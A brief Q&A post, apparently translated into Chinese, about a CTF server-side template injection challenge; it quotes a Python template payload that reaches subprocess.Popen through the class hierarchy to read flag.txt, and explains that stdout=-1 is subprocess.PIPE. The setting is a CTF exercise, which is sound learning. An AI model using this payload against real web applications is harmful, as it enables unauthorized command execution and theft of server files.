弹出标准输出值

Popen stdout value

我正在做一个关于 SSTI 的 ctf 挑战。解决方案负载是

{{"".__class__.__mro__[1].__subclasses__()[213](['cat','flag.txt'],stdout=-1).communicate()}}

我想知道为什么 stdout 接受 -1 作为值。我在当前的子流程文档中找不到它。

-1 就是 subprocess.PIPE

的值
PIPE = -1

考虑到首先获取对 Popen 的引用的复杂性,subprocess.PIPE 本身可能不可用,因此使用它的值代替。